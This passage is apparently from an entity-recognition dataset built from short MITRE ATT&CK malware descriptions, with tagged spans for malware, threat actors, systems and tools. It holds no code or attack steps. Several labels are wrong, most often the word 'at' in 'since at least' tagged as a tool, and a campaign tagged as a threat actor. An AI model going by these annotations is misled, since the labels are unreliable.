"THREAT_ACTOR: Mustard Tempest": [[267, 282]], "THREAT_ACTOR: Indrik Spider": [[332, 345]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1124"}} {"text": "Flagpro is a Windows-based, first-stage downloader that has been used by BlackTech since at least October 2020. It has primarily been used against defense, media, and communications companies in Japan.", "spans": {"MALWARE: Flagpro": [[0, 7]], "SYSTEM: Windows": [[13, 20]], "THREAT_ACTOR: BlackTech": [[73, 82]], "TOOL: at": [[89, 91]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0696"}} {"text": "Hi-Zor is a remote access tool (RAT) that has characteristics similar to Sakula. It was used in a campaign named INOCNATION.", "spans": {"MALWARE: Hi-Zor": [[0, 6]], "MALWARE: Sakula": [[73, 79]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0087"}} {"text": "SpicyOmelette is a JavaScript based remote access tool that has been used by Cobalt Group since at least 2018.", "spans": {"MALWARE: SpicyOmelette": [[0, 13]], "SYSTEM: JavaScript": [[19, 29]], "THREAT_ACTOR: Cobalt Group": [[77, 89]], "TOOL: at": [[96, 98]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0646"}} {"text": "XAgentOSX is a trojan that has been used by APT28 on OS X and appears to be a port of their standard CHOPSTICK or XAgent trojan.", "spans": {"MALWARE: XAgentOSX": [[0, 9]], "THREAT_ACTOR: APT28": [[44, 49]], "MALWARE: CHOPSTICK": [[102, 111]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0161"}} {"text": "Green Lambert is a modular backdoor that security researchers assess has been used by an advanced threat group referred to as Longhorn and The Lamberts. First reported in 2017, the Windows variant of Green Lambert may have been used as early as 2008; a macOS version was uploaded to a multiscanner service in September 2014.", "spans": {"MALWARE: Green Lambert": [[0, 13], [200, 213]], "SYSTEM: Windows": [[181, 188]], "SYSTEM: macOS": [[253, 258]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0690"}} {"text": "China Chopper is a Web Shell hosted on Web servers to provide access back into an enterprise network that does not rely on an infected system calling back to a remote command and control server. It has been used by several threat groups.", "spans": {"MALWARE: China Chopper": [[0, 13]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0020"}} {"text": "SnappyTCP is a web shell used by Sea Turtle between 2021 and 2023 against multiple victims. SnappyTCP appears to be based on a public GitHub project that has since been removed from the code-sharing site. SnappyTCP includes a simple reverse TCP shell for Linux and Unix environments with basic command and control capabilities.", "spans": {"MALWARE: SnappyTCP": [[0, 9], [92, 101], [205, 214]], "THREAT_ACTOR: Sea Turtle": [[33, 43]], "SYSTEM: GitHub": [[134, 140]], "SYSTEM: Linux": [[255, 260]], "SYSTEM: Unix": [[265, 269]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1163"}} {"text": "CALENDAR is malware used by APT1 that mimics legitimate Gmail Calendar traffic.", "spans": {"MALWARE: CALENDAR": [[0, 8]], "THREAT_ACTOR: APT1": [[28, 32]], "SYSTEM: Gmail": [[56, 61]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0025"}} {"text": "LockerGoga is ransomware that was first reported in January 2019, and has been tied to various attacks on European companies, including industrial and manufacturing firms.", "spans": {"MALWARE: LockerGoga": [[0, 10]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0372"}} {"text": "First observed in 2018, LightSpy is a modular malware family that initially targeted iOS devices in Southern Asia before expanding to Android and macOS platforms. It consists of a downloader, a main executable that manages network communications, and functionality-specific modules, typically implemented as `.dylib` files (iOS, macOS) or `.apk` files (Android). LightSpy can collect VoIP call recordings, SMS messages, and credential stores, which are then exfiltrated to a command and control (C2) server.", "spans": {"SYSTEM: iOS": [[85, 88], [324, 327]], "SYSTEM: Android": [[134, 141], [353, 360]], "SYSTEM: macOS": [[146, 151], [329, 334]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1185"}} {"text": "Chaos is Linux malware that compromises systems by brute force attacks against SSH services. Once installed, it provides a reverse shell to its controllers, triggered by unsolicited packets.", "spans": {"MALWARE: Chaos": [[0, 5]], "SYSTEM: Linux": [[9, 14]], "SYSTEM: SSH": [[79, 82]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0220"}} {"text": "ISMInjector is a Trojan used to install another OilRig backdoor, ISMAgent.", "spans": {"MALWARE: ISMInjector": [[0, 11]], "THREAT_ACTOR: OilRig": [[48, 54]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0189"}} {"text": "PUNCHBUGGY is a backdoor malware used by FIN8 that has been observed targeting POS networks in the hospitality industry.", "spans": {"MALWARE: PUNCHBUGGY": [[0, 10]], "THREAT_ACTOR: FIN8": [[41, 45]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0196"}} {"text": "GoldMax is a second-stage C2 backdoor written in Go with Windows and Linux variants that are nearly identical in functionality. GoldMax was discovered in early 2021 during the investigation into the SolarWinds Compromise, and has likely been used by APT29 since at least mid-2019. GoldMax uses multiple defense evasion techniques, including avoiding virtualization execution and masking malicious traffic.", "spans": {"MALWARE: GoldMax": [[0, 7], [128, 135], [281, 288]], "SYSTEM: Windows": [[57, 64]], "SYSTEM: Linux": [[69, 74]], "THREAT_ACTOR: SolarWinds Compromise": [[199, 220]], "THREAT_ACTOR: APT29": [[250, 255]], "TOOL: at": [[262, 264]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0588"}} {"text": "HELLOKITTY is a ransomware written in C++ that shares similar code structure and functionality with DEATHRANSOM and FIVEHANDS. HELLOKITTY has been used since at least 2020, targets have included a Polish video game developer and a Brazilian electric power company.", "spans": {"MALWARE: HELLOKITTY": [[0, 10], [128, 138]], "MALWARE: DEATHRANSOM": [[101, 112]], "MALWARE: FIVEHANDS": [[117, 126]], "TOOL: at": [[159, 161]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0617"}} {"text": "CostaBricks is a loader that was used to deploy 32-bit backdoors in the CostaRicto campaign.", "spans": {"MALWARE: CostaBricks": [[0, 11]], "THREAT_ACTOR: CostaRicto": [[72, 82]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0614"}} {"text": "Cheerscrypt is a ransomware that was developed by Cinnamon Tempest and has been used in attacks against ESXi and Windows environments since at least 2022. Cheerscrypt was derived from the leaked Babuk source code and has infrastructure overlaps with deployments of Night Sky ransomware, which was also derived from Babuk.", "spans": {"MALWARE: Cheerscrypt": [[0, 11], [155, 166]], "THREAT_ACTOR: Cinnamon Tempest": [[50, 66]], "SYSTEM: Windows": [[113, 120]], "TOOL: at": [[140, 142]], "MALWARE: Babuk": [[195, 200], [315, 320]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1096"}} {"text": "LIGHTWIRE is a web shell written in Perl that was used during Cutting Edge to maintain access and enable command execution by imbedding into the legitimate compcheckresult.cgi component of Ivanti Secure Connect VPNs.", "spans": {"MALWARE: LIGHTWIRE": [[0, 9]], "SYSTEM: Perl": [[36, 40]], "THREAT_ACTOR: Cutting Edge": [[62, 74]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1119"}} {"text": "KeyBoy is malware that has been used in targeted campaigns against members of the Tibetan Parliament in 2016.", "spans": {"MALWARE: KeyBoy": [[0, 6]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0387"}} {"text": "POSHSPY is a backdoor that has been used by APT29 since at least 2015. It appears to be used as a secondary backdoor used if the actors lost access to their primary backdoors.", "spans": {"MALWARE: POSHSPY": [[0, 7]], "THREAT_ACTOR: APT29": [[44, 49]], "TOOL: at": [[56, 58]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0150"}} {"text": "MiniDuke is malware that was used by APT29 from 2010 to 2015. The MiniDuke toolset consists of multiple downloader and backdoor components. The loader has been used with other MiniDuke components as well as in conjunction with CosmicDuke and PinchDuke.", "spans": {"MALWARE: MiniDuke": [[0, 8], [66, 74], [176, 184]], "THREAT_ACTOR: APT29": [[37, 42]], "MALWARE: CosmicDuke": [[227, 237]], "MALWARE: PinchDuke": [[242, 251]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0051"}} {"text": "HyperBro is a custom in-memory backdoor used by Threat Group-3390.", "spans": {"MALWARE: HyperBro": [[0, 8]], "THREAT_ACTOR: Threat Group-3390": [[48, 65]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0398"}} {"text": "Anchor is one of a family of backdoor malware that has been used in conjunction with TrickBot on selected high profile targets since at least 2018.", "spans": {"MALWARE: Anchor": [[0, 6]], "MALWARE: TrickBot": [[85, 93]], "TOOL: at": [[133, 135]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0504"}} {"text": "Line Runner is a persistent backdoor and web shell allowing threat actors to upload and execute arbitrary Lua scripts. Line Runner is associated with the ArcaneDoor campaign.", "spans": {"MALWARE: Line Runner": [[0, 11], [119, 130]], "THREAT_ACTOR: ArcaneDoor": [[154, 164]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1188"}} {"text": "Pteranodon is a custom backdoor used by Gamaredon Group.", "spans": {"MALWARE: Pteranodon": [[0, 10]], "THREAT_ACTOR: Gamaredon Group": [[40, 55]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0147"}} {"text": "DarkTortilla is a highly configurable .NET-based crypter that has been possibly active since at least August 2015. DarkTortilla has been used to deliver popular information stealers, RATs, and payloads such as Agent Tesla, AsyncRat, NanoCore, RedLine, Cobalt Strike, and Metasploit.", "spans": {"MALWARE: DarkTortilla": [[0, 12], [115, 127]], "SYSTEM: .NET": [[38, 42]], "TOOL: at": [[93, 95]], "MALWARE: Agent Tesla": [[210, 221]], "MALWARE: NanoCore": [[233, 241]], "TOOL: Cobalt Strike": [[252, 265]], "TOOL: Metasploit": [[271, 281]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1066"}} {"text": "BeaverTail is a malware that has both a JavaScript and C++ variant. Active since 2022, BeaverTail is capable of stealing logins from browsers and serves as a downloader for second stage payloads. BeaverTail has previously been leveraged by North Korea-affiliated actors identified as DeceptiveDevelopment or Contagious Interview. BeaverTail has been delivered to victims through code repository sites and has been embedded within malicious attachments.", "spans": {"MALWARE: BeaverTail": [[0, 10], [88, 98], [197, 207], [331, 341]], "SYSTEM: JavaScript": [[40, 50]], "THREAT_ACTOR: Contagious Interview": [[309, 329]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1246"}} {"text": "ROKRAT is a cloud-based remote access tool (RAT) used by APT37 to target victims in South Korea. APT37 has used ROKRAT during several campaigns from 2016 through 2021.", "spans": {"MALWARE: ROKRAT": [[0, 6], [112, 118]], "THREAT_ACTOR: APT37": [[57, 62], [97, 102]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0240"}} {"text": "CORESHELL is a downloader used by APT28. The older versions of this malware are known as SOURFACE and newer versions as CORESHELL.", "spans": {"MALWARE: CORESHELL": [[0, 9], [120, 129]], "THREAT_ACTOR: APT28": [[34, 39]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0137"}} {"text": "RunningRAT is a remote access tool that appeared in operations surrounding the 2018 Pyeongchang Winter Olympics along with Gold Dragon and Brave Prince.", "spans": {"MALWARE: RunningRAT": [[0, 10]], "MALWARE: Gold Dragon": [[123, 134]], "MALWARE: Brave Prince": [[139, 151]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0253"}} {"text": "VPNFilter is a multi-stage, modular platform with versatile capabilities to support both intelligence-collection and destructive cyber attack operations. VPNFilter modules such as its packet sniffer ('ps') can collect traffic that passes through an infected device, allowing the theft of website credentials and monitoring of Modbus SCADA protocols. VPNFilter was assessed to be replaced by Sandworm Team with Cyclops Blink starting in 2019.", "spans": {"MALWARE: VPNFilter": [[0, 9], [154, 163], [352, 361]], "TOOL: ps": [[201, 203]], "THREAT_ACTOR: Sandworm Team": [[393, 406]], "MALWARE: Cyclops Blink": [[412, 425]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1010"}} {"text": "SplatDropper is a loader that utilizes native windows API to deliver its payload to the victim environment. SplatDropper has been delivered through RAR archives and used legitimate executable for DLL side-loading. SplatDropper is known to be leveraged by Mustang Panda and was first observed utilized in 2025.", "spans": {"MALWARE: SplatDropper": [[0, 12], [109, 121], [216, 228]], "SYSTEM: API": [[54, 57]], "TOOL: RAR": [[149, 152]], "THREAT_ACTOR: Mustang Panda": [[257, 270]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1232"}} {"text": "Babuk is a Ransomware-as-a-service (RaaS) malware that has been used since at least 2021. The operators of Babuk employ a \"Big Game Hunting\" approach to targeting major enterprises and operate a leak site to post stolen data as part of their extortion scheme.", "spans": {"MALWARE: Babuk": [[0, 5], [107, 112]], "TOOL: at": [[75, 77]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0638"}} {"text": "Exbyte is an exfiltration tool written in Go that is uniquely associated with BlackByte operations. Observed since 2022, Exbyte transfers collected files to online file sharing and hosting services.", "spans": {"MALWARE: Exbyte": [[0, 6], [121, 127]], "THREAT_ACTOR: BlackByte": [[78, 87]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1179"}} {"text": "DarkWatchman is a lightweight JavaScript-based remote access tool (RAT) that avoids file operations; it was first observed in November 2021.", "spans": {"MALWARE: DarkWatchman": [[0, 12]], "SYSTEM: JavaScript": [[30, 40]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0673"}} {"text": "Dyre is a banking Trojan that has been used for financial gain.", "spans": {"MALWARE: Dyre": [[0, 4]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0024"}} {"text": "BlackMould is a web shell based on China Chopper for servers running Microsoft IIS. First reported in December 2019, it has been used in malicious campaigns by GALLIUM against telecommunication providers.", "spans": {"MALWARE: BlackMould": [[0, 10]], "MALWARE: China Chopper": [[35, 48]], "ORGANIZATION: Microsoft": [[69, 78]], "SYSTEM: IIS": [[79, 82]], "THREAT_ACTOR: GALLIUM": [[160, 167]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0564"}} {"text": "Javali is a banking trojan that has targeted Portuguese and Spanish-speaking countries since 2017, primarily focusing on customers of financial institutions in Brazil and Mexico.", "spans": {"MALWARE: Javali": [[0, 6]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0528"}} {"text": "PACEMAKER is a credential stealer that was used by APT5 as early as 2020 including activity against US Defense Industrial Base (DIB) companies.", "spans": {"MALWARE: PACEMAKER": [[0, 9]], "THREAT_ACTOR: APT5": [[51, 55]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1109"}} {"text": "LunarLoader is the loader component for the LunarWeb and LunarMail backdoors that has been used by Turla since at least 2020 including against a European ministry of foreign affairs (MFA). LunarLoader has been observed as a standalone and as a part of trojanized open-source software such as AdmPwd.", "spans": {"MALWARE: LunarLoader": [[0, 11], [189, 200]], "MALWARE: LunarWeb": [[44, 52]], "MALWARE: LunarMail": [[57, 66]], "THREAT_ACTOR: Turla": [[99, 104]], "TOOL: at": [[111, 113]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1143"}} {"text": "BBSRAT is malware with remote access tool functionality that has been used in targeted compromises.", "spans": {"MALWARE: BBSRAT": [[0, 6]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0127"}} {"text": "PlugX is a remote access tool (RAT) with modular plugins that has been used by multiple threat groups.", "spans": {"MALWARE: PlugX": [[0, 5]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0013"}} {"text": "Reaver is a malware family that has been in the wild since at least late 2016. Reporting indicates victims have primarily been associated with the \"Five Poisons,\" which are movements the Chinese government considers dangerous. The type of malware is rare due to its final payload being in the form of Control Panel items.", "spans": {"MALWARE: Reaver": [[0, 6]], "TOOL: at": [[59, 61]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0172"}} {"text": "Bisonal is a remote access tool (RAT) that has been used by Tonto Team against public and private sector organizations in Russia, South Korea, and Japan since at least December 2010.", "spans": {"MALWARE: Bisonal": [[0, 7]], "THREAT_ACTOR: Tonto Team": [[60, 70]], "TOOL: at": [[159, 161]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0268"}} {"text": "MultiLayer Wiper is wiper malware written in .NET associated with Agrius operations. Observed samples of MultiLayer Wiper have an anomalous, future compilation date suggesting possible metadata manipulation.", "spans": {"MALWARE: MultiLayer Wiper": [[0, 16], [105, 121]], "SYSTEM: .NET": [[45, 49]], "THREAT_ACTOR: Agrius": [[66, 72]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1135"}} {"text": "S-Type is a backdoor that was used in Operation Dust Storm since at least 2013.", "spans": {"MALWARE: S-Type": [[0, 6]], "THREAT_ACTOR: Operation Dust Storm": [[38, 58]], "TOOL: at": [[65, 67]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0085"}} {"text": "Lumma Stealer is an information stealer malware family in use since at least 2022. Lumma Stealer is a Malware as a Service (MaaS) where captured data has been sold in criminal markets to Initial Access Brokers.", "spans": {"MALWARE: Lumma Stealer": [[0, 13], [83, 96]], "TOOL: at": [[68, 70]], "SYSTEM: Access": [[195, 201]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1213"}} {"text": "SeaDuke is malware that was used by APT29 from 2014 to 2015. It was used primarily as a secondary backdoor for victims that were already compromised with CozyCar.", "spans": {"MALWARE: SeaDuke": [[0, 7]], "THREAT_ACTOR: APT29": [[36, 41]], "MALWARE: CozyCar": [[154, 161]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0053"}} {"text": "BS2005 is malware that was used by Ke3chang in spearphishing campaigns since at least 2011.", "spans": {"MALWARE: BS2005": [[0, 6]], "THREAT_ACTOR: Ke3chang": [[35, 43]], "TOOL: at": [[77, 79]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0014"}} {"text": "DustySky is multi-stage malware written in .NET that has been used by Molerats since May 2015.", "spans": {"MALWARE: DustySky": [[0, 8]], "SYSTEM: .NET": [[43, 47]], "THREAT_ACTOR: Molerats": [[70, 78]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0062"}} {"text": "Duqu is a malware platform that uses a modular approach to extend functionality after deployment within a target network.", "spans": {"MALWARE: Duqu": [[0, 4]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0038"}} {"text": "Truvasys is first-stage malware that has been used by PROMETHIUM. It is a collection of modules written in the Delphi programming language.", "spans": {"MALWARE: Truvasys": [[0, 8]], "THREAT_ACTOR: PROMETHIUM": [[54, 64]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0178"}} {"text": "Remsec is a modular backdoor that has been used by Strider and appears to have been designed primarily for espionage purposes. Many of its modules are written in Lua.", "spans": {"MALWARE: Remsec": [[0, 6]], "THREAT_ACTOR: Strider": [[51, 58]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0125"}} {"text": "Industroyer2 is a compiled and static piece of malware that has the ability to communicate over the IEC-104 protocol. It is similar to the IEC-104 module found in Industroyer. Security researchers assess that Industroyer2 was designed to cause impact to high-voltage electrical substations. The initial Industroyer2 sample was compiled on 03/23/2022 and scheduled to execute on 04/08/2022, however it was discovered before deploying, resulting in no impact.", "spans": {"MALWARE: Industroyer2": [[0, 12], [209, 221], [303, 315]], "MALWARE: Industroyer": [[163, 174]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1072"}} {"text": "Sykipot is malware that has been used in spearphishing campaigns since approximately 2007 against victims primarily in the US. One variant of Sykipot hijacks smart cards on victims. The group using this malware has also been referred to as Sykipot.", "spans": {"MALWARE: Sykipot": [[0, 7], [142, 149], [241, 248]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0018"}} {"text": "Explosive is a custom-made remote access tool used by the group Volatile Cedar. It was first identified in the wild in 2015.", "spans": {"MALWARE: Explosive": [[0, 9]], "THREAT_ACTOR: Volatile Cedar": [[64, 78]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0569"}} {"text": "Xbash is a malware family that has targeted Linux and Microsoft Windows servers. The malware has been tied to the Iron Group, a threat actor group known for previous ransomware attacks. Xbash was developed in Python and then converted into a self-contained Linux ELF executable by using PyInstaller.", "spans": {"MALWARE: Xbash": [[0, 5], [186, 191]], "SYSTEM: Linux": [[44, 49], [257, 262]], "ORGANIZATION: Microsoft": [[54, 63]], "SYSTEM: Windows": [[64, 71]], "SYSTEM: Python": [[209, 215]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0341"}} {"text": "Rover is malware suspected of being used for espionage purposes. It was used in 2015 in a targeted email sent to an Indian Ambassador to Afghanistan.", "spans": {"MALWARE: Rover": [[0, 5]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0090"}} {"text": "Epic is a backdoor that has been used by Turla.", "spans": {"MALWARE: Epic": [[0, 4]], "THREAT_ACTOR: Turla": [[41, 46]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0091"}} {"text": "LightNeuron is a sophisticated backdoor that has targeted Microsoft Exchange servers since at least 2014. LightNeuron has been used by Turla to target diplomatic and foreign affairs-related organizations. The presence of certain strings in the malware suggests a Linux variant of LightNeuron exists.", "spans": {"MALWARE: LightNeuron": [[0, 11], [106, 117], [280, 291]], "ORGANIZATION: Microsoft": [[58, 67]], "SYSTEM: Exchange": [[68, 76]], "TOOL: at": [[91, 93]], "THREAT_ACTOR: Turla": [[135, 140]], "SYSTEM: Linux": [[263, 268]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0395"}} {"text": "Peppy is a Python-based remote access Trojan, active since at least 2012, with similarities to Crimson.", "spans": {"MALWARE: Peppy": [[0, 5]], "SYSTEM: Python": [[11, 17]], "TOOL: at": [[59, 61]], "MALWARE: Crimson": [[95, 102]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0643"}} {"text": "KEYPLUG is a modular backdoor written in C++, with Windows and Linux variants, that has been used by APT41 since at least June 2021.", "spans": {"MALWARE: KEYPLUG": [[0, 7]], "SYSTEM: Windows": [[51, 58]], "SYSTEM: Linux": [[63, 68]], "THREAT_ACTOR: APT41": [[101, 106]], "TOOL: at": [[113, 115]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1051"}} {"text": "Cuba is a Windows-based ransomware family that has been used against financial institutions, technology, and logistics organizations in North and South America as well as Europe since at least December 2019.", "spans": {"MALWARE: Cuba": [[0, 4]], "SYSTEM: Windows": [[10, 17]], "TOOL: at": [[184, 186]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0625"}} {"text": "DEATHRANSOM is ransomware written in C that has been used since at least 2020, and has potential overlap with FIVEHANDS and HELLOKITTY.", "spans": {"MALWARE: DEATHRANSOM": [[0, 11]], "TOOL: at": [[64, 66]], "MALWARE: FIVEHANDS": [[110, 119]], "MALWARE: HELLOKITTY": [[124, 134]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0616"}} {"text": "Clambling is a modular backdoor written in C++ that has been used by Threat Group-3390 since at least 2017.", "spans": {"MALWARE: Clambling": [[0, 9]], "THREAT_ACTOR: Threat Group-3390": [[69, 86]], "TOOL: at": [[93, 95]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0660"}} {"text": "Akira ransomware, written in C++, is most prominently (but not exclusively) associated with the ransomware-as-a-service entity Akira. Akira ransomware has been used in attacks across North America, Europe, and Australia, with a focus on critical infrastructure sectors including manufacturing, education, and IT services. Akira ransomware employs hybrid encryption and threading to increase the speed and efficiency of encryption and runtime arguments for tailored attacks. Notable variants include Rust-based Megazord for targeting Windows and Akira _v2 for targeting VMware ESXi servers.", "spans": {"MALWARE: Akira": [[0, 5], [127, 132], [134, 139], [322, 327]], "MALWARE: Megazord": [[510, 518]], "SYSTEM: Windows": [[533, 540]], "MALWARE: Akira _v2": [[545, 554]], "SYSTEM: VMware": [[569, 575]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1129"}} {"text": "DarkGate first emerged in 2018 and has evolved into an initial access and data gathering tool associated with various criminal cyber operations. Written in Delphi and named \"DarkGate\" by its author, DarkGate is associated with credential theft, cryptomining, cryptotheft, and pre-ransomware actions. DarkGate use increased significantly starting in 2022 and is under active development by its author, who provides it as a Malware-as-a-Service offering.", "spans": {"MALWARE: DarkGate": [[0, 8], [174, 182], [199, 207], [300, 308]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1111"}} {"text": "Mongall is a backdoor that has been used since at least 2013, including by Aoqin Dragon.", "spans": {"MALWARE: Mongall": [[0, 7]], "TOOL: at": [[47, 49]], "THREAT_ACTOR: Aoqin Dragon": [[75, 87]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1026"}} {"text": "NanHaiShu is a remote access tool and JScript backdoor used by Leviathan. NanHaiShu has been used to target government and private-sector organizations that have relations to the South China Sea dispute.", "spans": {"MALWARE: NanHaiShu": [[0, 9], [74, 83]], "SYSTEM: JScript": [[38, 45]], "THREAT_ACTOR: Leviathan": [[63, 72]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0228"}} {"text": "LockBit 3.0 is an evolution of the LockBit Ransomware-as-a-Service (RaaS) offering with similarities to BlackMatter and BlackCat ransomware. LockBit 3.0 has been in use since at least June 2022 and features enhanced defense evasion and exfiltration tactics, robust encryption methods for Windows and VMware ESXi systems, and a more refined RaaS structure over its predecessors such as LockBit 2.0.", "spans": {"MALWARE: LockBit 3.0": [[0, 11], [141, 152]], "MALWARE: BlackCat": [[120, 128]], "TOOL: at": [[175, 177]], "SYSTEM: Windows": [[288, 295]], "SYSTEM: VMware": [[300, 306]], "MALWARE: LockBit 2.0": [[385, 396]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1202"}} {"text": "SVCReady is a loader that has been used since at least April 2022 in malicious spam campaigns. Security researchers have noted overlaps between TA551 activity and SVCReady distribution, including similarities in file names, lure images, and identical grammatical errors.", "spans": {"MALWARE: SVCReady": [[0, 8], [163, 171]], "TOOL: at": [[46, 48]], "THREAT_ACTOR: TA551": [[144, 149]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1064"}} {"text": "ThiefQuest is a virus, data stealer, and wiper that presents itself as ransomware targeting macOS systems. ThiefQuest was first seen in 2020 distributed via trojanized pirated versions of popular macOS software on Russian forums sharing torrent links. Even though ThiefQuest presents itself as ransomware, since the dynamically generated encryption key is never sent to the attacker it may be more appropriately thought of as a form of wiper malware.", "spans": {"MALWARE: ThiefQuest": [[0, 10], [107, 117], [264, 274]], "SYSTEM: macOS": [[92, 97], [196, 201]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0595"}} {"text": "FoggyWeb is a passive and highly-targeted backdoor capable of remotely exfiltrating sensitive information from a compromised Active Directory Federated Services (AD FS) server. It has been used by APT29 since at least early April 2021.", "spans": {"MALWARE: FoggyWeb": [[0, 8]], "SYSTEM: Active Directory": [[125, 141]], "THREAT_ACTOR: APT29": [[197, 202]], "TOOL: at": [[209, 211]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0661"}} {"text": "NGLite is a backdoor Trojan that is only capable of running commands received through its C2 channel. While the capabilities are standard for a backdoor, NGLite uses a novel C2 channel that leverages a decentralized network based on the legitimate NKN to communicate between the backdoor and the actors.", "spans": {"MALWARE: NGLite": [[0, 6], [154, 160]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1106"}} {"text": "Carbanak is a full-featured, remote backdoor used by a group of the same name (Carbanak). It is intended for espionage, data exfiltration, and providing remote access to infected machines.", "spans": {"MALWARE: Carbanak": [[0, 8], [79, 87]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0030"}} {"text": "XTunnel a VPN-like network proxy tool that can relay traffic between a C2 server and a victim. It was first seen in May 2013 and reportedly used by APT28 during the compromise of the Democratic National Committee.", "spans": {"MALWARE: XTunnel": [[0, 7]], "THREAT_ACTOR: APT28": [[148, 153]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0117"}} {"text": "Hydraq is a data-theft trojan first used by Elderwood in the 2009 Google intrusion known as Operation Aurora, though variations of this trojan have been used in more recent campaigns by other Chinese actors, possibly including APT17.", "spans": {"MALWARE: Hydraq": [[0, 6]], "THREAT_ACTOR: Elderwood": [[44, 53]], "ORGANIZATION: Google": [[66, 72]], "THREAT_ACTOR: APT17": [[227, 232]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0203"}} {"text": "SHARPSTATS is a .NET backdoor used by MuddyWater since at least 2019.", "spans": {"MALWARE: SHARPSTATS": [[0, 10]], "SYSTEM: .NET": [[16, 20]], "THREAT_ACTOR: MuddyWater": [[38, 48]], "TOOL: at": [[55, 57]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0450"}} {"text": "Ferocious is a first stage implant composed of VBS and PowerShell scripts that has been used by WIRTE since at least 2021.", "spans": {"MALWARE: Ferocious": [[0, 9]], "TOOL: PowerShell": [[55, 65]], "THREAT_ACTOR: WIRTE": [[96, 101]], "TOOL: at": [[108, 110]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0679"}} {"text": "HOMEFRY is a 64-bit Windows password dumper/cracker that has previously been used in conjunction with other Leviathan backdoors.", "spans": {"MALWARE: HOMEFRY": [[0, 7]], "SYSTEM: Windows": [[20, 27]], "THREAT_ACTOR: Leviathan": [[108, 117]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0232"}} {"text": "CreepyDrive is a custom implant has been used by POLONIUM since at least early 2022 for C2 with and exfiltration to actor-controlled OneDrive accounts.\n\nPOLONIUM has used a similar implant called CreepyBox that relies on actor-controlled DropBox accounts.", "spans": {"MALWARE: CreepyDrive": [[0, 11]], "THREAT_ACTOR: POLONIUM": [[49, 57], [153, 161]], "TOOL: at": [[64, 66]], "SYSTEM: OneDrive": [[133, 141]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1023"}} {"text": "Caterpillar WebShell is a self-developed Web Shell tool created by the group Volatile 